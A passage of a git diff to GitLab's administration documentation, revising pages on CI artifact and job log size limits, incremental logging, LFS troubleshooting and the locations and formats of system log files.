+| `ci_max_artifact_size_lsif` | 100 MB ([Introduced at 20 MB](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3 and [raised to 100 MB](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46980) in GitLab 13.6.) |
+| `ci_max_artifact_size_metadata` | 0 |
+| `ci_max_artifact_size_metrics_referee` | 0 |
+| `ci_max_artifact_size_metrics` | 0 |
+| `ci_max_artifact_size_network_referee` | 0 |
+| `ci_max_artifact_size_performance` | 0 |
+| `ci_max_artifact_size_requirements` | 0 |
+| `ci_max_artifact_size_sast` | 0 |
+| `ci_max_artifact_size_secret_detection` | 0 |
+| `ci_max_artifact_size_terraform` | 5 MB ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37018) in GitLab 13.3) |
+| `ci_max_artifact_size_trace` | 0 |
For example, to set the `ci_max_artifact_size_junit` limit to 10 MB on a self-managed
installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -503,6 +482,46 @@ A runner's registration fails if it exceeds the limit for the scope determined b
Plan.default.actual_limits.update!(ci_registered_project_runners: 100)
```
+### Maximum file size for job logs
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276192) in GitLab 14.1.
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-job-log-limits). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+The job log file size limit is 100 megabytes by default. Any job that exceeds this value is dropped.
+
+You can change the limit in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session).
+Update `ci_jobs_trace_size_limit` with the new value in megabytes:
+
+```ruby
+Plan.default.actual_limits.update!(ci_jobs_trace_size_limit: 125)
+```
+
+#### Enable or disable job log limits **(FREE SELF)**
+
+This feature is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_jobs_trace_size_limit)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_jobs_trace_size_limit)
+```
+
## Instance monitoring and metrics
### Incident Management inbound alert limits
@@ -597,7 +616,7 @@ prevent any more changes from rendering. For more information about these limits
Reports that go over the 20 MB limit won't be loaded. Affected reports:
- [Merge request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports)
-- [CI/CD parameter `artifacts:expose_as`](../ci/yaml/README.md#artifactsexpose_as)
+- [CI/CD parameter `artifacts:expose_as`](../ci/yaml/index.md#artifactsexpose_as)
- [Unit test reports](../ci/unit_test_reports.md)
## Advanced Search limits
@@ -607,7 +626,7 @@ Reports that go over the 20 MB limit won't be loaded. Affected reports:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8638) in GitLab 13.3.
You can set a limit on the content of repository files that are indexed in
-Elasticsearch. Any files larger than this limit is neither indexed
+Elasticsearch. Any files larger than this limit is neither indexed
nor searchable.
Setting a limit helps reduce the memory usage of the indexing processes and
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index 99eb1395503..3b1d253b4b6 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -42,10 +42,10 @@ To disable artifacts site-wide, follow the steps below.
GitLab Runner can upload an archive containing the job artifacts to GitLab. By default,
this is done when the job succeeds, but can also be done on failure, or always, via the
-[`artifacts:when`](../ci/yaml/README.md#artifactswhen) parameter.
+[`artifacts:when`](../ci/yaml/index.md#artifactswhen) parameter.
Most artifacts are compressed by GitLab Runner before being sent to the coordinator. The exception to this is
-[reports artifacts](../ci/yaml/README.md#artifactsreports), which are compressed after uploading.
+[reports artifacts](../ci/yaml/index.md#artifactsreports), which are compressed after uploading.
### Using local storage
@@ -326,7 +326,7 @@ To migrate back to local storage:
## Expiring artifacts
-If [`artifacts:expire_in`](../ci/yaml/README.md#artifactsexpire_in) is used to set
+If [`artifacts:expire_in`](../ci/yaml/index.md#artifactsexpire_in) is used to set
an expiry for the artifacts, they are marked for deletion right after that date passes.
Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md).
diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md
index 510da68442c..87dd365769f 100644
--- a/doc/administration/job_logs.md
+++ b/doc/administration/job_logs.md
@@ -108,7 +108,7 @@ See "Phase 4: uploading" in [Data flow](#data-flow) to learn about the process.
If you want to avoid any local disk usage for job logs,
you can do so using one of the following options:
-- Enable the [beta incremental logging](#incremental-logging-architecture) feature.
+- Enable the [incremental logging](#incremental-logging-architecture) feature.
- Set the [job logs location](#changing-the-job-logs-local-location)
to an NFS drive.
@@ -140,17 +140,17 @@ For more information, see [delete references to missing artifacts](raketasks/che
> - [Recommended for production use with AWS S3](https://gitlab.com/gitlab-org/gitlab/-/issues/273498) in GitLab 13.7.
> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-incremental-logging). **(FREE SELF)**
-Job logs are sent from the GitLab Runner in chunks and cached temporarily on disk
+By default job logs are sent from the GitLab Runner in chunks and cached temporarily on disk
in `/var/opt/gitlab/gitlab-ci/builds` by Omnibus GitLab. After the job completes,
a background job archives the job log. The log is moved to `/var/opt/gitlab/gitlab-rails/shared/artifacts/`
by default, or to object storage if configured.
-In a [scaled-out architecture](reference_architectures/index.md) with Rails and Sidekiq running on more than one
+In a [scaled-out architecture](reference_architectures/index.md) with Rails and Sidekiq running on more than one
server, these two locations on the filesystem have to be shared using NFS.
To eliminate both filesystem requirements:
-- Enable the incremental logging feature, which uses Redis instead of disk space for temporary caching of job logs.
+- [Enable the incremental logging feature](#enable-or-disable-incremental-logging), which uses Redis instead of disk space for temporary caching of job logs.
- Configure [object storage](job_artifacts.md#object-storage-settings) for storing archived job logs.
### Technical details
@@ -162,7 +162,7 @@ file storage. Redis is used as first-class storage, and it stores up-to 128KB
of data. After the full chunk is sent, it is flushed to a persistent store, either object storage (temporary directory) or database.
After a while, the data in Redis and a persistent store is archived to [object storage](#uploading-logs-to-object-storage).
-The data are stored in the following Redis namespace: `Gitlab::Redis::SharedState`.
+The data are stored in the following Redis namespace: `Gitlab::Redis::TraceChunks`.
Here is the detailed data flow:
@@ -185,7 +185,7 @@ Here is the detailed data flow:
### Enable or disable incremental logging **(FREE SELF)**
-Incremental logging is under development, but ready for production use. It is
+Incremental logging is under development, but [ready for production use as of GitLab 13.6](https://gitlab.com/groups/gitlab-org/-/epics/4275). It is
deployed behind a feature flag that is **disabled by default**.
[GitLab administrators with access to the GitLab Rails console](feature_flags.md)
can enable it.
diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md
index 862c26abac8..edf0e324a5c 100644
--- a/doc/administration/lfs/index.md
+++ b/doc/administration/lfs/index.md
@@ -243,7 +243,52 @@ You can see the total storage used for LFS objects on groups and projects:
- In the administration area.
- In the [groups](../../api/groups.md) and [projects APIs](../../api/projects.md).
-## Troubleshooting: `Google::Apis::TransmissionError: execution expired`
+## Troubleshooting
+
+### Missing LFS objects
+
+An error about a missing LFS object may occur in either of these situations:
+
+- When migrating LFS objects from disk to object storage, with error messages like:
+
+ ```plaintext
+ ERROR -- : Failed to transfer LFS object
+ 006622269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
+ with error: No such file or directory @ rb_sysopen -
+ /var/opt/gitlab/gitlab-rails/shared/lfs-objects/00/66/22269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
+ ```
+
+ (Line breaks have been added for legibility.)
+
+- When running the
+ [integrity check for LFS objects](../raketasks/check.md#uploaded-files-integrity)
+ with the `VERBOSE=1` parameter.
+
+The database can have records for LFS objects which are not on disk. The database entry may
+[prevent a new copy of the object from being pushed](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49241).
+To delete these references:
+
+1. [Start a rails console](../operations/rails_console.md).
+1. Query the object that's reported as missing in the rails console, to return a file path:
+
+ ```ruby
+ lfs_object = LfsObject.find_by(oid: '006622269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7')
+ lfs_object.file.path
+ ```
+
+1. Check on disk or object storage if it exists:
+
+ ```shell
+ ls -al /var/opt/gitlab/gitlab-rails/shared/lfs-objects/00/66/22269c61b41bf14a22bbe0e43be3acf86a4a446afb4250c3794ea47541a7
+ ```
+
+1. If the file is not present, remove the database record via the rails console:
+
+ ```ruby
+ lfs_object.destroy
+ ```
+
+### `Google::Apis::TransmissionError: execution expired`
If LFS integration is configured with Google Cloud Storage and background uploads (`background_upload: true` and `direct_upload: false`),
Sidekiq workers may encounter this error. This is because the uploading timed out with very large files.
@@ -276,10 +321,33 @@ end
See more information in [!19581](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19581)
+### LFS commands fail on TLS v1.3 server
+
+If you configure GitLab to [disable TLS v1.2](https://docs.gitlab.com/omnibus/settings/nginx.md)
+and only enable TLS v1.3 connections, LFS operations require a
+[Git LFS client](https://git-lfs.github.com) version 2.11.0 or later. If you use
+a Git LFS client earlier than version 2.11.0, GitLab displays an error:
+
+```plaintext
+batch response: Post https://username:***@gitlab.example.com/tool/releases.git/info/lfs/objects/batch: remote error: tls: protocol version not supported
+error: failed to fetch some objects from 'https://username:[MASKED]@gitlab.example.com/tool/releases.git/info/lfs'
+```
+
+When using GitLab CI over a TLS v1.3 configured GitLab server, you must
+[upgrade to GitLab Runner](https://docs.gitlab.com/runner/install/index.md) 13.2.0
+or later to receive an updated Git LFS client version via
+the included [GitLab Runner Helper image](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#helper-image).
+
+To check an installed Git LFS client's version, run this command:
+
+```shell
+git lfs version
+```
+
## Known limitations
- Support for removing unreferenced LFS objects was added in 8.14 onward.
- LFS authentications via SSH was added with GitLab 8.12.
- Only compatible with the Git LFS client versions 1.1.0 and later, or 1.0.2.
-- The storage statistics count each LFS object multiple times for
+- The storage statistics count each LFS object for
every project linking to it.
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index cf9c2143d8c..b1605604df5 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -8,8 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
GitLab has an advanced log system where everything is logged, so you
can analyze your instance using various system log files. In addition to
-system log files, GitLab Enterprise Edition provides Audit Events.
-Find more about them [in Audit Events documentation](audit_events.md).
+system log files, GitLab Enterprise Edition provides [Audit Events](audit_events.md).
System log files are typically plain text in a standard log file format.
This guide talks about how to read and use these system log files.
@@ -30,45 +29,48 @@ The logs for a given service may be managed and rotated by:
- `logrotate` and `svlogd`
- Or not at all
-The table below includes information about what is responsible for managing and rotating logs for
+The following table includes information about what's responsible for managing and rotating logs for
the included services. Logs
[managed by `svlogd`](https://docs.gitlab.com/omnibus/settings/logs.html#runit-logs)
are written to a file called `current`. The `logrotate` service built into GitLab
[manages all logs](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate)
except those captured by `runit`.
-| Log Type | Managed by logrotate | Managed by svlogd/runit |
-| ----------------------------------------------- | -------------------- | ----------------------- |
-| [Alertmanager Logs](#alertmanager-logs) | N | Y |
-| [Crond Logs](#crond-logs) | N | Y |
-| [Gitaly](#gitaly-logs) | Y | Y |
-| [GitLab Exporter For Omnibus](#gitlab-exporter) | N | Y |
-| [GitLab Pages Logs](#pages-logs) | Y | Y |
-| GitLab Rails | Y | N |
-| [GitLab Shell Logs](#gitlab-shelllog) | Y | N |
-| [Grafana Logs](#grafana-logs) | N | Y |
-| [LogRotate Logs](#logrotate-logs) | N | Y |
-| [Mailroom](#mail_room_jsonlog-default) | Y | Y |
-| [NGINX](#nginx-logs) | Y | Y |
-| [PostgreSQL Logs](#postgresql-logs) | N | Y |
-| [Prometheus Logs](#prometheus-logs) | N | Y |
-| [Puma](#puma-logs) | Y | Y |
-| [Redis Logs](#redis-logs) | N | Y |
-| [Registry Logs](#registry-logs) | N | Y |
-| [Workhorse Logs](#workhorse-logs) | Y | Y |
+| Log type | Managed by logrotate | Managed by svlogd/runit |
+|-------------------------------------------------|------------------------|-------------------------|
+| [Alertmanager Logs](#alertmanager-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Crond Logs](#crond-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Gitaly](#gitaly-logs) | **{check-circle}** Yes | **{check-circle}** Yes |
+| [GitLab Exporter for Omnibus](#gitlab-exporter) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [GitLab Pages Logs](#pages-logs) | **{check-circle}** Yes | **{check-circle}** Yes |
+| GitLab Rails | **{check-circle}** Yes | **{dotted-circle}** No |
+| [GitLab Shell Logs](#gitlab-shelllog) | **{check-circle}** Yes | **{dotted-circle}** No |
+| [Grafana Logs](#grafana-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [LogRotate Logs](#logrotate-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Mailroom](#mail_room_jsonlog-default) | **{check-circle}** Yes | **{check-circle}** Yes |
+| [NGINX](#nginx-logs) | **{check-circle}** Yes | **{check-circle}** Yes |
+| [PostgreSQL Logs](#postgresql-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Prometheus Logs](#prometheus-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Puma](#puma-logs) | **{check-circle}** Yes | **{check-circle}** Yes |
+| [Redis Logs](#redis-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Registry Logs](#registry-logs) | **{dotted-circle}** No | **{check-circle}** Yes |
+| [Workhorse Logs](#workhorse-logs) | **{check-circle}** Yes | **{check-circle}** Yes |
## `production_json.log`
-This file lives in `/var/log/gitlab/gitlab-rails/production_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/production_json.log` for
-installations from source. When GitLab is running in an environment
-other than production, the corresponding log file is shown here.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/production_json.log`
+- Installations from source: `/home/git/gitlab/log/production_json.log`
+
+When GitLab is running in an environment other than production,
+the corresponding log file is shown here.
It contains a structured log for Rails controller requests received from
-GitLab, thanks to [Lograge](https://github.com/roidrage/lograge/). Note that
-requests from the API are logged to a separate file in `api_json.log`.
+GitLab, thanks to [Lograge](https://github.com/roidrage/lograge/).
+Requests from the API are logged to a separate file in `api_json.log`.
-Each line contains a JSON line that can be ingested by services like Elasticsearch and Splunk.
+Each line contains JSON that can be ingested by services like Elasticsearch and Splunk.
Line breaks were added to examples for legibility:
```json
@@ -103,39 +105,39 @@ This example was a GET request for a specific
issue. Each line also contains performance data, with times in
seconds:
-1. `duration_s`: total time taken to retrieve the request
-1. `queue_duration_s`: total time that the request was queued inside GitLab Workhorse
-1. `view_duration_s`: total time taken inside the Rails views
-1. `db_duration_s`: total time to retrieve data from PostgreSQL
-1. `cpu_s`: total time spent on CPU
-1. `gitaly_duration_s`: total time taken by Gitaly calls
-1. `gitaly_calls`: total number of calls made to Gitaly
-1. `redis_calls`: total number of calls made to Redis
-1. `redis_duration_s`: total time to retrieve data from Redis
-1. `redis_read_bytes`: total bytes read from Redis
-1. `redis_write_bytes`: total bytes written to Redis
-1. `redis_<instance>_calls`: total number of calls made to a Redis instance
-1. `redis_<instance>_duration_s`: total time to retrieve data from a Redis instance
-1. `redis_<instance>_read_bytes`: total bytes read from a Redis instance
-1. `redis_<instance>_write_bytes`: total bytes written to a Redis instance
-
-User clone and fetch activity using HTTP transport appears in this log as `action: git_upload_pack`.
+- `duration_s`: Total time to retrieve the request
+- `queue_duration_s`: Total time the request was queued inside GitLab Workhorse
+- `view_duration_s`: Total time inside the Rails views
+- `db_duration_s`: Total time to retrieve data from PostgreSQL
+- `cpu_s`: Total time spent on CPU
+- `gitaly_duration_s`: Total time by Gitaly calls
+- `gitaly_calls`: Total number of calls made to Gitaly
+- `redis_calls`: Total number of calls made to Redis
+- `redis_duration_s`: Total time to retrieve data from Redis
+- `redis_read_bytes`: Total bytes read from Redis
+- `redis_write_bytes`: Total bytes written to Redis
+- `redis_<instance>_calls`: Total number of calls made to a Redis instance
+- `redis_<instance>_duration_s`: Total time to retrieve data from a Redis instance
+- `redis_<instance>_read_bytes`: Total bytes read from a Redis instance
+- `redis_<instance>_write_bytes`: Total bytes written to a Redis instance
+
+User clone and fetch activity using HTTP transport appears in the log as `action: git_upload_pack`.
In addition, the log contains the originating IP address,
(`remote_ip`), the user's ID (`user_id`), and username (`username`).
-Some endpoints such as `/search` may make requests to Elasticsearch if using
+Some endpoints (such as `/search`) may make requests to Elasticsearch if using
[Advanced Search](../user/search/advanced_search.md). These
additionally log `elasticsearch_calls` and `elasticsearch_call_duration_s`,
which correspond to:
-1. `elasticsearch_calls`: total number of calls to Elasticsearch
-1. `elasticsearch_duration_s`: total time taken by Elasticsearch calls
-1. `elasticsearch_timed_out_count`: total number of calls to Elasticsearch that
+- `elasticsearch_calls`: Total number of calls to Elasticsearch
+- `elasticsearch_duration_s`: Total time taken by Elasticsearch calls
+- `elasticsearch_timed_out_count`: Total number of calls to Elasticsearch that
timed out and therefore returned partial results
-ActionCable connection and subscription events are also logged to this file and they follow the same
-format above. The `method`, `path`, and `format` fields are not applicable, and are always empty.
+ActionCable connection and subscription events are also logged to this file and they follow the
+previous format. The `method`, `path`, and `format` fields are not applicable, and are always empty.
The ActionCable connection or channel class is used as the `controller`.
```json
@@ -206,10 +208,13 @@ Starting with GitLab 12.5, if an error occurs, an
## `production.log`
-This file lives in `/var/log/gitlab/gitlab-rails/production.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/production.log` for
-installations from source. (When GitLab is running in an environment
-other than production, the corresponding log file is shown here.)
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/production.log`
+- Installations from source: `/home/git/gitlab/log/production.log`
+
+When GitLab is running in an environment other than production,
+the corresponding log file is shown here.
It contains information about all performed requests. You can see the
URL and type of request, IP address, and what parts of code were
@@ -244,9 +249,10 @@ The request was processed by `Projects::TreeController`.
> Introduced in GitLab 10.0.
-This file lives in
-`/var/log/gitlab/gitlab-rails/api_json.log` for Omnibus GitLab packages, or in
-`/home/git/gitlab/log/api_json.log` for installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/api_json.log`
+- Installations from source: `/home/git/gitlab/log/api_json.log`
It helps you see requests made directly to the API. For example:
@@ -274,24 +280,25 @@ It helps you see requests made directly to the API. For example:
```
This entry shows an internal endpoint accessed to check whether an
-associated SSH key can download the project in question via a `git fetch` or
+associated SSH key can download the project in question by using a `git fetch` or
`git clone`. In this example, we see:
-1. `duration`: total time in milliseconds taken to retrieve the request
-1. `queue_duration`: total time in milliseconds that the request was queued inside GitLab Workhorse
-1. `method`: The HTTP method used to make the request
-1. `path`: The relative path of the query
-1. `params`: Key-value pairs passed in a query string or HTTP body. Sensitive parameters (such as passwords and tokens) are filtered out.
-1. `ua`: The User-Agent of the requester
+- `duration`: Total time in milliseconds to retrieve the request
+- `queue_duration`: Total time in milliseconds the request was queued inside GitLab Workhorse
+- `method`: The HTTP method used to make the request
+- `path`: The relative path of the query
+- `params`: Key-value pairs passed in a query string or HTTP body (sensitive parameters, such as passwords and tokens, are filtered out)
+- `ua`: The User-Agent of the requester
## `application.log`
-This file lives in `/var/log/gitlab/gitlab-rails/application.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/application.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/application.log`
+- Installations from source: `/home/git/gitlab/log/application.log`
-It helps you discover events happening in your instance such as user creation,
-project removing and so on. For example:
+It helps you discover events happening in your instance such as user creation
+and project removal. For example:
```plaintext
October 06, 2014 11:56: User "Administrator" (admin@example.com) was created
@@ -305,11 +312,12 @@ October 07, 2014 11:25: Project "project133" was removed
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22812) in GitLab 12.7.
-This file lives in `/var/log/gitlab/gitlab-rails/application_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/application_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/application_json.log`
+- Installations from source: `/home/git/gitlab/log/application_json.log`
-It contains the JSON version of the logs in `application.log` like the example below:
+It contains the JSON version of the logs in `application.log`, like this example:
```json
{
@@ -328,11 +336,14 @@ It contains the JSON version of the logs in `application.log` like the example b
## `integrations_json.log`
-This file lives in `/var/log/gitlab/gitlab-rails/integrations_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/integrations_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
-It contains information about [integrations](../user/project/integrations/overview.md) activities such as Jira, Asana, and Irker services. It uses JSON format like the example below:
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/integrations_json.log`
+- Installations from source: `/home/git/gitlab/log/integrations_json.log`
+
+It contains information about [integration](../user/project/integrations/overview.md)
+activities, such as Jira, Asana, and Irker services. It uses JSON format,
+like this example:
```json
{
@@ -360,16 +371,16 @@ It contains information about [integrations](../user/project/integrations/overvi
> Introduced in GitLab 11.6.
-This file lives in
-`/var/log/gitlab/gitlab-rails/kubernetes.log` for Omnibus GitLab
-packages or in `/home/git/gitlab/log/kubernetes.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/kubernetes.log`
+- Installations from source: `/home/git/gitlab/log/kubernetes.log`
-It logs information related to the Kubernetes Integration including errors
+It logs information related to the Kubernetes Integration, including errors
during installing cluster applications on your managed Kubernetes
clusters.
-Each line contains a JSON line that can be ingested by services like Elasticsearch and Splunk.
+Each line contains JSON that can be ingested by services like Elasticsearch and Splunk.
Line breaks have been added to the following example for clarity:
```json
@@ -399,9 +410,10 @@ Line breaks have been added to the following example for clarity:
## `git_json.log`
-This file lives in `/var/log/gitlab/gitlab-rails/git_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/git_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/git_json.log`
+- Installations from source: `/home/git/gitlab/log/git_json.log`
After GitLab version 12.2, this file was renamed from `githost.log` to
`git_json.log` and stored in JSON format.
@@ -425,14 +437,15 @@ only. For example:
NOTE:
GitLab Free tracks a small number of different audit events.
-[GitLab Premium](https://about.gitlab.com/pricing/) tracks many more.
+GitLab Premium tracks many more.
-This file lives in `/var/log/gitlab/gitlab-rails/audit_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/audit_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
-Changes to group or project settings and memberships (`target_details`) are logged to this file.
-For example:
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/audit_json.log`
+- Installations from source: `/home/git/gitlab/log/audit_json.log`
+
+Changes to group or project settings and memberships (`target_details`)
+are logged to this file. For example:
```json
{
@@ -454,15 +467,17 @@ For example:
## Sidekiq Logs
NOTE:
-In Omnibus GitLab `12.10` or earlier, the Sidekiq log lives in `/var/log/gitlab/gitlab-rails/sidekiq.log`.
+In Omnibus GitLab `12.10` or earlier, the Sidekiq log is at `/var/log/gitlab/gitlab-rails/sidekiq.log`.
-For Omnibus installations, some Sidekiq logs reside in `/var/log/gitlab/sidekiq/current` and as follows.
+For Omnibus GitLab installations, some Sidekiq logs are in `/var/log/gitlab/sidekiq/current`
+and as follows.
### `sidekiq.log`
-This file lives in `/var/log/gitlab/sidekiq/current` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/sidekiq.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/sidekiq/current`
+- Installations from source: `/home/git/gitlab/log/sidekiq.log`
GitLab uses background jobs for processing tasks which can take a long
time. All information about processing these jobs are written down to
@@ -473,7 +488,7 @@ this file. For example:
2014-06-10T18:18:26Z 14299 TID-55uqo INFO: Booting Sidekiq 3.0.0 with redis options {:url=>"redis://localhost:6379/0", :namespace=>"sidekiq"}
```
-Instead of the format above, you can opt to generate JSON logs for
+Instead of the previous format, you can opt to generate JSON logs for
Sidekiq. For example:
```json
@@ -506,7 +521,7 @@ For Omnibus GitLab installations, add the configuration option:
sidekiq['log_format'] = 'json'
```
-For source installations, edit the `gitlab.yml` and set the Sidekiq
+For installations from source, edit the `gitlab.yml` and set the Sidekiq
`log_format` configuration option:
```yaml
@@ -519,9 +534,10 @@ For source installations, edit the `gitlab.yml` and set the Sidekiq
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26586) in GitLab 12.9.
-This file lives in `/var/log/gitlab/gitlab-rails/sidekiq_client.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/sidekiq_client.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/sidekiq_client.log`
+- Installations from source: `/home/git/gitlab/log/sidekiq_client.log`
This file contains logging information about jobs before Sidekiq starts
processing them, such as before being enqueued.
@@ -532,11 +548,15 @@ you've configured this for Sidekiq as mentioned above.
## `gitlab-shell.log`
-GitLab Shell is used by GitLab for executing Git commands and provide SSH access to Git repositories.
+GitLab Shell is used by GitLab for executing Git commands and provide SSH
+access to Git repositories.
### For GitLab versions 12.10 and up
-For GitLab version 12.10 and later, there are 2 `gitlab-shell.log` files. Information containing `git-{upload-pack,receive-pack}` requests lives in `/var/log/gitlab/gitlab-shell/gitlab-shell.log`. Information about hooks to GitLab Shell from Gitaly lives in `/var/log/gitlab/gitaly/gitlab-shell.log`.
+For GitLab version 12.10 and later, there are two `gitlab-shell.log` files.
+Information containing `git-{upload-pack,receive-pack}` requests is at
+`/var/log/gitlab/gitlab-shell/gitlab-shell.log`. Information about hooks to
+GitLab Shell from Gitaly is at `/var/log/gitlab/gitaly/gitlab-shell.log`.
Example log entries for `/var/log/gitlab/gitlab-shell/gitlab-shell.log`:
@@ -589,7 +609,11 @@ Example log entries for `/var/log/gitlab/gitaly/gitlab-shell.log`:
### For GitLab versions 12.5 through 12.9
-For GitLab 12.5 to 12.9, this file lives in `/var/log/gitlab/gitaly/gitlab-shell.log` for Omnibus GitLab packages or in `/home/git/gitaly/gitlab-shell.log` for installations from source.
+For GitLab 12.5 to 12.9, depending on your installation method, this
+file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitaly/gitlab-shell.log`
+- Installation from source: `/home/git/gitaly/gitlab-shell.log`
Example log entries:
@@ -608,7 +632,7 @@ Example log entries:
### For GitLab 12.5 and earlier
-For GitLab 12.5 and earlier, the file lives in `/var/log/gitlab/gitlab-shell/gitlab-shell.log`.
+For GitLab 12.5 and earlier, the file is at `/var/log/gitlab/gitlab-shell/gitlab-shell.log`.
Example log entries:
@@ -617,51 +641,64 @@ I, [2015-02-13T06:17:00.671315 #9291] INFO -- : Adding project root/example.git
I, [2015-02-13T06:17:00.679433 #9291] INFO -- : Moving existing hooks directory and symlinking global hooks directory for /var/opt/gitlab/git-data/repositories/root/example.git.
```
-User clone/fetch activity using SSH transport appears in this log as `executing git command <gitaly-upload-pack...`.
+User clone/fetch activity using SSH transport appears in this log as
+`executing git command <gitaly-upload-pack...`.
## Gitaly Logs
-This file lives in `/var/log/gitlab/gitaly/current` and is produced by [runit](http://smarden.org/runit/). `runit` is packaged with Omnibus GitLab and a brief explanation of its purpose is available [in the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/architecture/#runit). [Log files are rotated](http://smarden.org/runit/svlogd.8.html), renamed in Unix timestamp format, and `gzip`-compressed (like `@1584057562.s`).
+This file is in `/var/log/gitlab/gitaly/current` and is produced by [runit](http://smarden.org/runit/).
+`runit` is packaged with Omnibus GitLab and a brief explanation of its purpose
+is available [in the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/architecture/#runit).
+[Log files are rotated](http://smarden.org/runit/svlogd.8.html), renamed in
+Unix timestamp format, and `gzip`-compressed (like `@1584057562.s`).
### `grpc.log`
-This file lives in `/var/log/gitlab/gitlab-rails/grpc.log` for Omnibus GitLab packages. Native [gRPC](https://grpc.io/) logging used by Gitaly.
+This file is at `/var/log/gitlab/gitlab-rails/grpc.log` for Omnibus GitLab
+packages. Native [gRPC](https://grpc.io/) logging used by Gitaly.
### `gitaly_ruby_json.log`
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2678) in GitLab 13.6.
-This file lives in `/var/log/gitlab/gitaly/gitaly_ruby_json.log` and is produced by [`gitaly-ruby`](gitaly/reference.md#gitaly-ruby). It contains an access log of gRPC calls made by Gitaly to `gitaly-ruby`.
+This file is at `/var/log/gitlab/gitaly/gitaly_ruby_json.log` and is
+produced by [`gitaly-ruby`](gitaly/reference.md#gitaly-ruby). It contains an
+access log of gRPC calls made by Gitaly to `gitaly-ruby`.
## Puma Logs
### `puma_stdout.log`
-This file lives in `/var/log/gitlab/puma/puma_stdout.log` for
-Omnibus GitLab packages, and `/home/git/gitlab/log/puma_stdout.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/puma/puma_stdout.log`
+- Installations from source: `/home/git/gitlab/log/puma_stdout.log`
### `puma_stderr.log`
-This file lives in `/var/log/gitlab/puma/puma_stderr.log` for
-Omnibus GitLab packages, or in `/home/git/gitlab/log/puma_stderr.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
